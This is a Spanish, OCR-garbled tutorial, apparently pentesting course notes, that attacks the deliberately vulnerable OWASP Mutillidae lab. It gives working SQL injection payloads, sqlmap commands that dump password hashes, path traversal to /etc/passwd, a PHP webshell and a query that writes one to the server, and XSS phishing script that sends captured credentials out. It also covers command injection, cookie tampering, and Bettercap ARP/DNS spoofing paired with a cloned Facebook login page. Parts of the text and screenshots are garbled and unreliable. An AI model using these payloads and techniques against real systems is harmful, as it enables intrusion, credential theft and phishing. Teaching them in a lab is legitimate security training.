Inyecciones SQL Manualmente:

N
Switch to SOAP Web Service version Switch to XPath version
o el XML

Please enter username and password
to view details

Name (ebezer =
Password s

Dont have an account? Please register here

Error Message

[ Failure is always an option
Line 28
Code. 0

/var /ww/htal/nutillidae/classes/MySQLHandler . php

[ /var/ww/htal /nuti1lidae/classes /MySQLiandler .php on line 230: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''eliezer'' |
AND password=""" at line 2 Query: SELECT * FROM accounts WHERE username='eliezer.. AND password'' (1064) (mysali sql_exception]

#0 /var/wwi/htel/mutillidae/classes/MySQLHandler . php(328) : MySOLHandler->doExecuteQuery() #1 /var/www/htul/mutillidae/classes/SQL0uery -php(356) : y() #2 /var/wae/btml/autillidae
/user-info.php(173): SOLQueryHandl ) 3/ /mutill hp(513): require once(*...') #4 {main} J

File
Message
Trace
m Error attespting to display user information

A
| Click here to reset the DB
7

Podemos notar que al afiadir una comilla simple, hemos afectado al cédigo de la aplicacién
web, mostrandonos un error de Mysql con informacién como la propia consulta SQL, tablas o
hasta directorios. Imagina que vulneramos la consulta de la siguiente manera:



Please enter username and password
to view account details

Name
Password

View Account Details

Dont have an account? Please register here

[ Results for "' or 1=1 -- ".23 records found.

Username=admin
Password=adminpass
Signature=g0t r00t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Username=john
Password=monkey
Signature=| like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak
Username=bryce
Password=password
Signature=| Love SANS
Username=samurai
Password=samurai
Signature=Carving fools
Username=jim
Password=password
Signature=Rome is burning

Username=bobby
Password=password

Como vemos Cerramos la consulta con “y ponemos “1=1 or -- “ (detrds de las dos lineas hay
un espacio)

De esta forma nos devuelve todos los usuarios.

Podemos usar las consulta:

' union select null, version(), null, null, null, null, null --

Al usar Union podemos concatenar dos consultas, pero es importante que ambas tengan la
misma cantidad de columnas, por lo que podemos ir probando de una en una para averiguar
cuantas columnas hay usando solo “null”, y una vez sepamos cuantas hay (que no devuelva
error), variar la posicién del dato que queramos sacar.

|II

Algunas funciones interesantes son:

e database(): Devuelve el nombre de la base de datos
e version(): Devuelve la version de MySQL
e current_user(): Devuelve el usuario actual

e i e s rmm g e

Results for "' union select null, version(), null, null, null, null, null -- ".1 records found.

Username=38.0.32-0ubuntu0.22.04.2
Password=
Signature=

' union select null,table_name,null,null,null,null,null from information_schema.tables --

En este campo, devuelve el nombre de todas las tablas de la base de datos.




LUIIL11IGVE @l @LLUUTIL: FIEase [Eyistel els

GEETER LT union select null,table_name,null,null,null, null,null from information_schema.tables -- il EYL1( B LT T
sername=ADMINISTRABLE_ROLE_AUTHORIZATIONS
assword=
ignature=

sername=APPLICABLE_ROLES
assword=
ignature=

sername=CHARACTER_SETS
assword=
ignature=

sername=CHECK_CONSTRAINTS
assword=
ignature=

sername=COLLATIONS

' union select null,@ @secure_file_priv,null,null,null,null,null from
information_schema.tables --

Esta variable guarda una ruta donde se encuentran ficheros que la base de datos tiene
disponible.

Results for "' union select null.@@secure_ﬁle_priv,nWrﬂm information_schema.tables -- ".1 records found.

Usernames=/var/lib/mysql-files/
Password=
Signature=

Se puede llamar algun fichero ahi con la siguiente consulta imaginando que
“ficheroimportante.txt” es un archivo que se encuentra en una ruta disponible:

' union select nullload_file(‘/var/lib/mysql-file/ficheroimportante.txt’),null,null,null,null,null
from information_schema.tables --

Descubrir si estamos inyectando cédigo:

Sin embargo, lo normal es que la aplicacién web no muestre por pantalla un error SQL, eso
seria demasiado obvio, para saber si un formulario es vulnerable a inyeccidn sql, podemos
hacer uso de la sentencia sleep():

' union select null,sleep(20),null,null,null,null,null --

De esta forma, si vemos que tarda esos segundos (20) en devolver la respuesta, no cabe duda
que la funcién Sleep se esta ejecutando en la base de datos y hemos inyectado cédigo.

Por supuesto, para que esto funcione, hay que conocer el nimero de columnas; el nUmero de
columnas siempre suele ser un numero reducido (no mas de 10-20) por lo tanto no lleva
mucho tiempo recorrer todo el espacio de pruebas.

Otra forma seria:

eliezer’ and ‘h’=’h

[ Results for "eliezer’' and 'h'="h".1 records found.
Username=eliezer

Password=eliezerpass

Signature=esto es una cuenta de pruebas

Como podemos observar, estd ignorando que h=h, no devuelve error porque basicamente
estamos introduciendo un cédigo que, aunque no devuelve resultado, es satisfactoriamente
ignorado.




A continuacién debemos poner una consulta idéntica pero que no se cumpla, y si nos da error,
tenemos la certeza de que no funciona, por ejemplo:

eliezer’ and ‘h’=’e

Authentication Error: Bad user name or password

Please enter username and password
to view account details

Password

View Account Details

Dont have an account? Please register here

Results for "eliezer’ and ‘h’'='e".0 records found.

Como podemos ver, al poner algo falso, nos devuelve un error, y es légico, pues no encuentra
que se cumplan las dos condiciones anteriores (es imposible que h=e).

SQLMap:

SqlMap es una herramienta que nos ayuda a automatizar todo el proceso de inyeccién SQL. Es
capaz de leer peticiones exportadas desde Burpsuite, para exportar una peticién en Burpsuite,
click derecho en la peticién y Copy to File (Previamente debemos interceptar nuestra peticién
Cliente-Servidor):

Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp  Project Intruder  Repeater Wi

Dashboard Target Sequencer  Decoder  Comparer  logger  Extender  Project options

HTTPhistory  WebSackets his

P Request ta http:j192.168.52.134:50
Farward Drop Action Open Browser : : ¥ | wen (9
Help M
@ faw e B " = nspector D@ X

[ 1 POST /mutillidae/index. php?page=login. php HTTP/L.1
2 Host: 132.168.52.134
i Selection 663 ~
nts and Videg] - ccilagent: Mozilla/s.o (x11; Linux x86_64; rv:102.0

. ept t/html, application/xhtml +xnl, application/ F0.8
Accept -Language: en-US, en;r0.5 b

Send ta Intruder ctrlsl

& Aecept-Encoding: gzip,
7 Referer: http: //192.168. 52.134/mutillidae/index. php?| Send to Repeater CrlsR POST /mutillidae/index. php?page=log
6 Content-Type: application/x-www-farn-urlencoded in.php HTTP/L 1 \n

Host: 192.168.52.1234\r \n

5 Content-Length: &7 Send to Sequencer
10 Origin: http: //192.168.52.134
11 Connection: clos:

User-Agent: Hozilla/s.0 (X11; Linux
Send to Comparer xB6_64; rv:102.0) Gecko/20100101 F

12 Cookie: PHPSESSID=cp4isSgsleierurrfitlSalhép; showhil  sengioDecoder irefox/102.0\r n )
1% Upgrads-Insecura-Requests: 1 Accapt: text/htnl, applicat ion/shtnl
14 i, application/xnl q=8.9, inage/av

15 username=eliezerfpassword-cl iez=rpass&login-php-subm .
" " e Request in browser > Seemore v

Engagement tools [Pra version only] >

Change request methad Decoded from:  URLencading v @

Change bady encadin
'ge body. 9 POST /mutillidas/indsx. php?pags=log

Capy URL in.php HTTR/L 1\r \n
Host: 192.168.52.134\r \n
Copyas eurl command User-Agent: Mozillass.0 (X11; Linux
Copyto e xB6_64; rv:102.0) Gecko/20100101 F
— ey irefox/102.0\r \n
Paste fram file Accept: text/htul, spplication/xhtrl
il application/xnl; q=0. 5, inage/av

Saveitem

, ore v
b4 Apply changes

>
Request Attributes 2 v
O @ (€] (2] [amie oo 0TS | e Qe Parameters T

Copy CtrlsC

Browser: Mozilla/5.0 (X11; |  ruste arsv Gecko/20100101 Firefox/102.0
PH u2.11

Message editor documentation

A continuacién, podemos usar SQLmap, para ello y como uso cotidiano, acostumbramos a usar
el pardmetro --flush-session que es para que no tenga en cuenta anteriores consultas



Ahora si, el comando para que analizara el txt de burpsuite seria:

sqlmap --flush-session -r Desktop/request_burp.txt

Desktop/request_burp.txt

g targets without prior mutual consent is illegal. It is the end us

arsing HTTP request from 'De request_burp.txt'
[ 1 [INFO] testing connection to the targ
got a 302 redirect to '"http://192.168.52.134:80/mutillidae/index.php?popUpNotificationCode=AUl'. Do you want to follow? [Y/n] [I

Como vemos, nos preguntard primero que el sitio le estd redirigiendo a otro lado y pregunta si
quiere que sea redirigido a la pagina principal.

] [INFO] parsing HTTP request from 'Desktop t_burp.txt’
1 [INFO] testlng connection to the targe
got a 302 redirect to http //192 168.52.134: sll/mutlllldaehndex php?popUpNotificationCode=AU1". Do you want to follow? [¥/n] n

ng to retry the reque )

] [INFO] heuristic (XS5) test shows that POST parameter username might be vulnerable to cross-site scripting (XS5) attacks
11 ] testing for SQL lnjutfl:}n on POST parameter 'us

[
[
[ 1 [V p .
[ ] [INFO] heuristic (basic) test shows that POST parameter username might be injectable (possible DBMS: 'MySQL')
[
[
it looks like the back-end DBMS is 'MySQL". Do you want to skip test paylnads specific for other DBMSes? [Y/n] I

Al pulsar que no, gracias a unas pruebas muy basicas, descubre que el sitio estd usando
MySQL, por lo que pregunta si pueda saltarse la comprobacidn y los payloads para descubrir el
motor, ya que no lo necesita la mayor parte de las veces que pregunte, pulsamos que si.

t looks like the back-end DBMS is 'MySQOL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
or the remaining tests, do you want to include all tests for 'MySQOL' extending provided level (1) and risk (1) values? [¥/n] I

Y pregunta por si quieres que pruebe algunos test cuyo riesgo es mas elevado. Es un entorno
de pruebas y no hay motivo por lo que ignorarlo, asi que pulsamos en Si.

Vnr Gl LlP BY clause (GTID_SUBSET)' injectable

el, please wait.........ccuuunn (done)

[
[1
[
[
[1
[
[
[1
[
[
[1
[
[
[1
[
[
[1
[
[
]

Como vemos, nos esta avisando en negrita que username es vulnerable a blind. Y podria
continuar en busqueda de los distintos pardmetros. Pero vamos a ver un ejemplo de ataque
para descubrir el usuario actual, para ello, sabiendo que el pardmetro username es vulnerable
por Blind (B), usaremos el comando:

sglmap --ignore-redirects --technique B -p username --current-user -r
Desktop/request_burp.txt

Con --ignore-redirects deja de preguntar por el redireccionamiento y con --techique B usara la
técnica Blind, con --batch no preguntara tantas cosas.



= ignore-redirects = technigue B -p username ~current-user br Desktop/request_burp.txt

gets without prior mutl c ent is i It is the end user's responsi

pag e ck of content. Ple: ck the page request re
heunstlc (baslc) test shnws that PDST Darameter username might be injectable (Dnsnb‘l.e DBMS: 'MySQL')
heunstlc (XsS) test shows that POST parameter 'username’ might be vulnerable to cross-site scripting (XSS) att
ction on POST parameter ame"
ha:k—end DBMS is 'MySQOL'. Do you want to sk)p test payloads specific for other DBMSes? [Y/n] y
tests, do you want to lnc‘l.ude all tests for 'M QL extending provided level (1) and risk {1) values? [¥/n] y

r ound and fllter i
POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with —cd

checking if the inj ion point on POST parameter 'us ' is a false positive
ST parameter 'username' is wvulnerable. Do you want to keep testing the others (if any)? [y/N] n
1 identified the foll g injection point(s) with a total of 12 HTTP(s) requests:
(POST)

password ass&login-php-submit-butten=

nd DBMS is MysaQL
: Linux Ubunt ]

consider usage of option '- for faster data retri

logged to text files under '/home qlma

Para conseguir las contrasefias, el comando, podemos usar el parametro --password

sglmap --ignore-redirects --batch --technique B -p username --password -r
Desktop/request_burp.txt

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to perform a dlctlnnary based at:ack against retrieved password hashes? [Y/n/q] Y

HwFkloFv8pndt TLujzm8nTBs

$ THATMUSTNEVERBRBEUSED
session [1]:
$A3005$THISISACOMBINATIONOFINVALIDSALTANDPASS DTHATMUSTNEVERBRBEUSED

B5$THISISACOMBINATIONOFINVALIDSALTANDPAS THATMUSTNEVERBRBEUSED

Tras un rato, obtendremos las contrasefias hasheadas, listas para ser descifradas.
Aqui una lista de algunas utilidades

e -Uroot@localhost, nos permite centrarnos en un Unico usuario.

e --dbs, nos permite obtener el nombre de la base de datos.

e -v, opcidon Verbose, para mostrar mds informacion.

e -D mutillidae, se centra en una base de datos para obtener sus tablas.
e -T,se centra en una tabla para sacar todas sus columnas.



Path Traversal: A veces, notamos que en la URL podemos ver que aparece el nombre del

archivo php que esta enviando. Esto es especialmente util porque podemos “escaparnos” de la
estructura y pedir otros archivos del sistema:

@ OWASP Mutillidae II: Keep Calm and Pwn On
Version: 2.11.4 Security Level: 0 (Hosed) Hints: Enabled Not Logged In

Home | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

ot:x:0:0:root:/root:/bin/bash daemon:x:1:1: +/usr/sbir 1 bin:x:2:2:bin:/bin: yologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync

imes:x:5: usr/games:, man6: 12 man Ivar/cac -/usr/sbin/nologin Ip:x:7:7:1p:f : il /var/mall /usr/sbm/nologln news:x:9:9:news:/var

pool/news:/usr/sbin/nologin uucp:x:10:10: uu(p var/sps : I proxy:x:13:1 d 33:33; Ju

sckup:x:34:34:backup:/var/bacl nologin list:x 38:3 List Manager var/list: /usr/smn/nulogm irc:x:39:30:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41 41 Gnats Bug Repomng System

dmin):/var/lib/gnats:/usr/sbin/nologin nobody X: 55534 555“ bod g systemd network:x:100:102:systemd Network +/run/sy ust ) systemd-

solve:x:101:103:systemd Resolver,,, 102:105 x:103:106:systemd Time Synchronization,,,:/run/systemd

srlsbm/nologm syslog:x:104: 111 /home/syslog /usrlsbm/nologm _apt:x:105:65534:: /nonemstent /usr/sblnlnologm rss x 106 112 TPM so(tware Sta(k J:Ivar/lib/tpm:/bin/false uuidd:x:107:115::/run/uuidd:
gin systemd : Userspace OOM Killer,,,:/run/systemd: h :x:110:119:Avahi autoip

1emon,,,:/var, ;111 1x daemon,,,:/var /usr 112:65534 J:/var/lib/misc:/

trnoops:x:113:65534:Kernel Oops Tracking Daemon J:/:/usr/sbin/nologin avahi:x:114: 121 Avahi mDNS daemon,, /run/avahl daemon:/usr/sbin/nologin cups pk-helper:x:115:122:user Ior cups-pk-helper

rrvice,,,:/home/cups-pk-helper:/usr/sbin/nologin rtkit:x:116:123:RealtimeKit,,,:/proc:/usr, 17:124: bin/false sssd:x:118:125:5SSD system user,,,:/var/lib/sss:/usr/sbin

ologin spee(h dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech- dlspalcner /bin/false Mupd velresh x:120: 126 fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin nm-

renvpn:x:121:127:NetworkManager OpenVPN,,,:/var V/chroot: gin saned:x:122:129::/var/lib/saned:, Iusr/sblnlnolog\n colord:x:123:130:colord colour management daemon,,,:/var

b/colord:/usr/sbin/nologin geoclue‘lezd.131‘:/var/hb/geocIue-/usvlsbu\/nologm pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:
in/false hplip:x:127:7:HPLIP system user,, :/run/hplip:/bin/false gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false usuario:x:1000:1000:lovesitos,,,:/home/usuario:/bin/bash
ysql:x:129:137:MySQL Server,,,:/nonexistent:/bin/false

Si el sistema, en vez de un Linux, fuera un Windows, para ir atrds usamos la barra \

ex.php?page=..\..

WebShells: No es una vulnerabilidad, es un fragmento de cédigo, un payload para
aprovecharse de una vulnerabilidad, dejar un fichero en el server y posteriormente explotarla.

Una de las webshell mas conocidas es una programada en PHP:
<?php echo passthru($_GET[“cmd”]); ?>

Si subimos ese archivo al servidor, podremos ejecutar cédigo desde nuestro navegador
pasandole comandos.

Para introducir esta webshell, nos dirigimos a una pagina vulnerable y, en nuestro caso
introducimos (recuerda quitar o afiadir null conforme a la cantidad de columnas, el codigo
anterior puede ser sustituido por el siguiente cédigo para hacer algo mas simple):

' union select null,null,null,null,null,null,'<form action="" method="post"
enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-
right:auto;"><tr><td colspan="2">Please enter system
command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input
type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td
colspan="2" style="text-align:center;"><input type="submit" value="Execute Command"
/></td></tr></table></form><?php echo "<pre>";echo
shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE
.J..]..]..]../var/www/html/mutillidae/puerta.php' --

iNo olvides el espacio al final del cédigo!



Authentication Error: Bad user name or password

Please enter username and password
to view account details

Name

Password

[ View Account Details ]

Dont have an account? Please register here

Results for "' union select null,null,null,null,null,null,'
Please enter system command

Command

Execute Command

IQUEST["pCommand"]);echo ""; ?=' INTO DUMPFILE '..\\..\\htdocs\\mutillidae\\puerta.php'

Si todo ha ido correcto, nuestro fichero debe haber sido creado en la correspondiente ruta.

Subida de Ficheros sin restriccion: Si un sitio web permite subir ficheros, podremos subir una
webshell y posteriormente usar el Path Traversal para acceder a ello.

Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB OffSec (@ Censys * Shodan (@

@« OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.11.4 Security Level: 0 (Hosed) Hints: Enabled Not Logged In

Home | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

Please enter system command
Command

Execute Command

Inyeccion HTML y Cross-Site-Scripting: Podemos probar en algin formulario a aiadir
caracteres propios de HTML como “<>" para ver si el formulario lo sanetiza. Si no los borra o
los detecta como impropios, podriamos facilmente inyectar cédigo html que interfiera con el
codigo de la pagina.

Enter IP or hostname

Hostname/IP (<h1>canario</h1>| ]

Lookup DNS

Results for

canario




Lo normal es que si podemos usar html, también podamos usar <script> para ejecutar codigo
de javascript. Aunque NORMALMENTE SE DESESTIMA, es recomendable tener una serie de
payload donde se pueda explotar de forma muy visual para afiadir al reporte.

Podriamos sacar alertas para hacer algo de phishing:

=div id="modal" style="position:fixed;top:0;left:0;width:100%;
height:100%;background-color:black;opacity:.5;z-1index:999998; ">&nhsp;</div=

=div style="margin:5% auto;width:108%;position:fixed;top:5%;left:5%;z-
index:9999999; "=

=div id="jdlegin" style="width:405px;position:relative;margin:@
auto;background-color:white;padding: 10px;border:1px solid black;"=

=script>

function capture(theEormi{

var DMLHLIE:

try{
var lData = "username=" + theFgrm.username.value +
"&password=" + ;ngﬁg;m.passwurd.value;
var 1Host - "losalhosk's
var 1Protocal = "htin";
var TAction = 1Bxetosel + "://" + st + “/owrillidiae

var Wethod = "post”;

try{
LYHTIE = new AchiveXORieck("Msxml2. XMUHTTR" )
Ycatch (el{ yr

Jcapture-data.php";

Con el que el usuario recibiria el siguiente mensaje falso:

Sorry! Your session has expired.

Please login again.

Username (

Password (

Submit |

Para evitar problemas con saltos de linea podemos enviar los datos a través de Burpsuite
codificandolos en formato de URL.

Persistent Scripting: Se trata de insertar script con HTML pero en un lugar persistente, como
una entrada de blog o quizas un comentario. De tal forma que cada vez que esa entrada o ese
comentario vaya a ser leido por el cliente, saltara nuestro script (por ejemplo, un pop-up de
phishing).




Es bastante peligroso, pues dejamos reflejado la direccion de la maquina atacante por ejemplo
si tenemos un script que capture y envie informacién a nuestro servidor.

Cross Site Request Fordwaring (CSRF): Consiste en hacer que un usuario legitimo realice
acciones sobre la aplicacion web sin que él mismo sepa que lo esta haciendo.

Por ejemplo, codificamos algun payload en URL con Burpsuite y lo mandamos a una entrada de
blog:

Dashbaard Target Intruder Repeater Sequencer Decader Comparer Logger Extender Project aptions User aptions Learn
Intercept HTTP histary WebSackets history Options

2 Request to http:/192.168.52.134:80

Forward || Drop Action || OpenBrowser

El
n

Pretty Raw Hex

POST /mutillidae/index. php?page=add-ta-your-Elog. php HTTR/L.1
Host: 192.168.52.134

User-Agent: Mozills/S. @ (X11; Linux xB6_64; rv:102.0) Gecko/20100101 Firefox/182, 0
Accept: text/html, spplication/xhtml+xml, application/xnl; q=0. 9, inage/avif, inage/webp, */%; 0. 8
Accept-Language: en-US en; q=0.5

Accept-Encoding: gzip, deflate

Refarar: http://192. 168, 52. 134/mutillidae/index, php?page=add-to-your-bleg. php
Content-Type: application/x-www-form-urlencoded

Content -Length: 75

Origin: http: /7192, 168.52.134

Connection: close

Cookie: PHPSESSID=rh7fagtiiSrEp7ucsl fekst4pd; showhints=1

Upgrade-Insecura-Requasts: 1

AW

AWM W W W

csrf-tokereShlog_ent ry=
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B T % 2o T 3% T S B 2 e 6 0 T 4% 2ok E 2% T S T A% T %6 % 6 % 2 5 26 1% TE% 6 5% 2h% 4 2a % 6 T e T 2b% 45% 6 % 7 4% T 2% 7 9% 2 2% 3h% 0% 0 9% 0 0% TE%E 1% 7 2% 20% 6 %41 %6 3% 7 456 % 6 F 50 a% 200 3% 200225 2%
2F%65R 0% 6 4% 6 5% T B2 T DR 0 0% T 0 3% T 0% 61 % 6 T 65% s 6 1% 6 4% 6 4% 2 T 4% 6 F% 2 7 9% 6 F % 7 5% 7 2% 2 b5 2% 6% 0 T % 6 T 2% T 0P 0 0% T 0% 22% 3 b 0afs 0 0% 0 5% T 6% 6 1% 7 2% 200 0 % 4 P 55% T 4% 6 0% 6 F 6 4% 20% 3

w

o202 P 5 O N5 TR5a% 2] T 4% T 2 T O 20 T b D D% 0 S D% B % S e A e A % A BN S A% 5 4% SO 2% 2 2% 6 2% 5% T TR 20% 4 1% 6 3% T 4% 6 0% T BN A 5% TN 4 F S 0 TN e a% B 5% 6 T T 4% 28% 2 Feadh T2
% T BB B 3% 2% 5 0% 4 e 4% 4 BN 5 4% 5 455 0 2 2. i Teke63%E1% 2EM%65%25% T T 4% T 27 S 200 TR 0205 0 P 05 0 5P 6 5 8% A cPe d % 4 B 5 4% 5 4% 5 0% 200 3 2 0%
Be%E0% T TH20%41%6 3% T 4% e P TENE SN SN 4 f e 2N e % E0% 6 TR T 4% 28% 2. T 2% T TR e e e T 4% 2e% 5 0% A% 4 c %A BN 5 4% 5 4% 5 0% 2% FeuETEE1% 28%65%29% 7h%0

T AT 2T 6T %5 5% o 4t 5% 5 4% 54% 5 0% 2 0P Sk 20Rs 0 e 65% 7 T 2 0% 5 B0 4 P 4% 4 8% T 4% 7 4% T 0% 5 2% 6 5% 7 1% T 5% 55% 7 3 7 4% 26% 257 3hs 0afe 0 SR 0 5P 0 R 0 5P T % 63
%6 1% 28%65%25% L%EC%E0% T X T4%28%6 5% 2e% b ceE 5% T T X6 L%E M6 5% %5S%4 s
4% 4555 4% 5 4% 5 (R 2 %6 T 6 et T 2% 650G 1% 6 4% T T 3 T 4% 6 1% 7 4% 6 5% 6 3P0 % 6 L6 a%i6 T 65% 2 (R 3cs 2 0% 6 0% T 5% 6% 6 3% T 4% 6 9% 6 F %50 % 260 255 T faEc %5 B 48N 5 4% 5455 0% 2
% T HE5%61%E4% TH5IN T 4%61% T 4%65%: 20P34% 2090 L%Ec%E5% 7T 4%28% 2 2% 48%6 1% 20%66% %Ee%EL%E4%E 22!

%7 cl's b 03t et D5 D0f 6. % 504 s 4 4 B0 5 %5 45 5 0P 2% 6 F % TR 6 5% 5 2B G s s 5% T 4% B M0 P 5 4% 2c % 2 0P 5% 4 1 % 6 3% T 4% 657 6 F 5 62t 20 % 20 T 4% T 2% T5% 65% 208 b 0afs 0 9% 0 5P 0 c %5 B i d B4 E% 5 4%
545 S 2% T 2 5% T A% S 2 A5 1% T S %E % T 2 T A% 4 B 5% A 1% 6 A% 6 5% 7 2% 2 0% 2 %4 T 6 T 0e% T 4%65% 6% 7 4% 2 54% 7 9% 7 006 5% 2 2% 2% 20% 2% 6 1% T 0% T 0% 6 C 5B T 6 2% 1% 7 4% S5 e f ueah 2 f u TE% 2 s T T T 757
T 2P E5% 6F % T 2B s 2d% T5% T 26 % FoaE4%E5%64%22%) I %5 5% 4P 4% 4505 4% 5 4% 5 0% 2t T 3% 6 5% 6 6 4% 260 6 % 4 4% 5 1% T 4%6 1% I T Fa661% 28%65
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Como vemos en Mutillidae, crea una entrada de blog vacia que es la que almacena el payload
de manera invisible. Y cada vez que se cargue la pagina, va a estar afladiendo una entrada de
blog, evidentemente la alerta estd en este payload de manera informativa. Pero existen
payloads de muchos tipos como creacién de usuarios.

© 192.168.52.134

XSStrike:

Herramienta para automatizar el Cross-Site-Scripting. Para instalarlo, al ser una herramienta
en Python, hay que instalar primero pip3.

sudo apt-get install python3-pip



git clone https://github.com/sOmd3v/XSStrike.git

La ruta puede variar, si no funciona, acceder al repositorio de github. Nos dirigimos a donde lo
hayamos descargado, en este caso a la carpeta home, en XSStrike:

pip3 install -r requirements.txt

Ahora la herramienta estd instalada, para ejecutarla hay que hacerlo con Python3 y sefialar el
script.

Ahora para usarla:

sudo python3 xsstrike.py -u "http://192.168.52.134/mutillidae/index.php?page=user-
info.php" --timeout 50

Con -u indicamos la URL a analizar. La herramienta genera los payloads automaticamente.

Command Injection: Consiste en simplemente aprovecharnos de algun formulario donde
directamente se le haga pasar una variable que se ejecute en el sistema de la aplicacién web.
Por ejemplo, en un NSLookup, poner:

D i ekt
et
Enter IP or hostname ]
Hostname/IP www.google.com;ls
Lookup DNS
Results for www.google.com;ls

Server: 127.96.0.53
Address: 127.0.0.53#53

Non-authoritative answer:

Name:  www.google.com

Address: 142.250.200.68

Name:  www.google.com

Address: 2a00:1450:4003:80d::2004

README - INSTALLATION. md
README . md
add-to-your-blog.php

ajax
arbitrary-file-inclusion.php
authorization-required.php
back-button-discussion.php
browser-info.php
cache-control.php
capture-data.php
captured-data.php

classes
client-side-comments.php
client-side-control-challenge.php
conference-room-lookup. php
configuration
content-security-policy.php
cors.php

credits.php
database-offline.php
directory-browsing.php

Como vemos, al separar por “;” los comandos, la aplicacién web nos va a devolver los dos
resultados de los dos comandos, listando los directorios de /var/www/html/mutillidae (Is).

Es muy poco probable encontrar algo asi, pues esta muy controlado.

Cookie Tampering: Consiste en modificar las cookies para hacerte pasar por otro usuario y
obtener permisos. Por ejemplo, cuando cambiamos los valores de uid=1 podriamos llegar a
hacernos pasar por el administrador.


https://github.com/s0md3v/XSStrike.git

1 GET smutillidaesindex. php?popUplotificationCode=AU1 HTTR/1. 1
2 Host: 192 1628 52,134
3 User-Agent: Mozillay/5. 0 (X11; Linux xB6_64; rv:102 0] Geckeo/20180101 Firefox/102 @
4 Accept: text/html, application/xhtml+xml application/xml; cF0. 9, image/avif, image/webp, */%, 0. 8
5 Accept-Language: en-US en; 0.5
G Accept-Encoding: gzip, deflate
7 Referer: http: /7192 168 52 134/mutillidae/index. php?poplphot if icat ionCode=ALL
2 Connection: close
9 Cookie: PHPSESSID=nh7fagtijSr8pTusslfikst4pd; showhints=1; username=nerea; uid=25
10 Upgrade-Insecurs-Requests: 1

Al interceptar un paquete, estando loggeado como “nerea”, notamos que tiene un uid=25. Si
registramos otro usuario notaremos que su uid serd igual a 26, por lo que podemos
simplemente variar ese dato para obtener los permisos de otro usuario, por ejemplo, el
administrador, que normalmente es el primer usuario(uid=1).

p% OWASP Mutillidae Il Keep Calm and

wrsion: 2.11.4 Security Level: 0 (Hosed) Hints: Enabled Logged In A
ome | Logout | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

TIP: Click Hint and Videos
on each page

:lp Me!

|leo Tutorials

Automaticamente, al cambiar el uid a 1, notamos como nos hemos quedado loggeados como
admin.

7.Explotacion y Hacking de
Vulnerabilidades en Red:

Bettercap:

Para iniciar Bettercap, sudo bettercap

ARP Spoofing: Consiste en modificar la tabla ARP del cliente para que crea que nuestra
direccion MAC tiene la ip del router. Para ello, escogemos la victima y atacamos

set arp.spoof.targets 192.168.52.129

arp.spoof on



password for kali:
bettercap v2.32.0 (built for linux amd64 with gol1.19.6) [type 'help' for a list of commands]

192.168.52.

192.168.52.

192.168.52.

orwarding

.168.52. @ H 1 [ 1
168.52. a 110 1 arting ne
.168.52. e 1 t ] endpoint 192.168.52.1 de
-168.52. 3 ] endpoint 192.168.52.129
.168.52.

Si abriéramos un Wireshark, notaremos que Bettercap esta reenviando todos los paquetes al
router. Es una técnica de Man in the Middle, es decir, podemos escuchar todo lo que haga ese
host.

DNS Spoofing (SOLO HTTP): Consiste en interceptar el DNS de la red para que los equipos sean
redireccionados a el servidor que nosotros queramos, quizds una copia falsa de un sitio como
Facebook para conseguir credenciales. Para interceptar, primero ponemos el arp spoofing:

set arp.spoof.targets 192.168.52.129
arp.spoof on

A continuacidn, procedemos a indicar qué dominio queremos redireccionar, por ejemplo
facebook.es:

set dns.spoof.domains facebook.es
y a dénde lo queremos llevar y lo encendemos:
set dns.spoof.address 192.168.52.128

dns.spoof on

B k:l‘lj facebook.es X o~ = a X
& O 0 facebook.es ¥ = L e
X s
pA;gina web del atacante Kal i Hocking o Completo - Wware Worstaion 17 Payer (Nor-commercialuse ol
Payer » | |1~ & O 1§

SECLEER

File Actions Edit

bettercap v2.32.0

> 192,168.52.128
> 192.168.52.128
> 192.168.52.128

HSTS preloaded list consiste en una lista de dominios que el navegador incluye en su propio
codigo fuente y obliga a que cuando el usuario se conecte a ellos la conexion vaya siempre por
https. Aunque pongamos http en el navegador, te redirigira a https automaticamente.

Como facebook.com es uno de estos dominios, no iba a funcionar ya que no disponemos del
certificado original de facebook. Para comprobar los dominios de esta lista, podemos usar la
web: hstspreload.org

Recuerda que esta técnica no tiene utilidad si hay certificados de por medio (https) y por lo
tanto puede ser detectada si se intenta sobre un sitio que se encuentre en el HSTS preloaded
list



https://facebook.com/

Social Engineering Toolkit: Herramienta para ingenieria social para replicar una pdgina web
original de manera exacta para posteriormente recoger las credenciales del usuario. Debemos
combinarla con el DNS Spoofing.

Se abre con: sudo setoolkit
Social-Engineering Attacks > Website Attack Vectors > Web Jacking Attack Method

Custom Import, pulsamos enter

En este punto, nos dirigimos a la pagina real que queramos copiar, y la guardamos, pero solo el
html con el nombre de index.html:

locathost/ X Facebook - Entraroregis X+

& C @ Q8 facebook.com

o Kali Docs Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB C [ /s % Shodan

KaliLinux e Kali Tools

[} Save As

Name: Facebook-Entrar oregistrarse.himl

Home « #kali Downloads

meliiey Name - Modified
Documents exploit-CVE-2015-3... 8 Jan 2017
s-10.4.2-ubun... 22 Feb
. M29kB Markup 28Feb

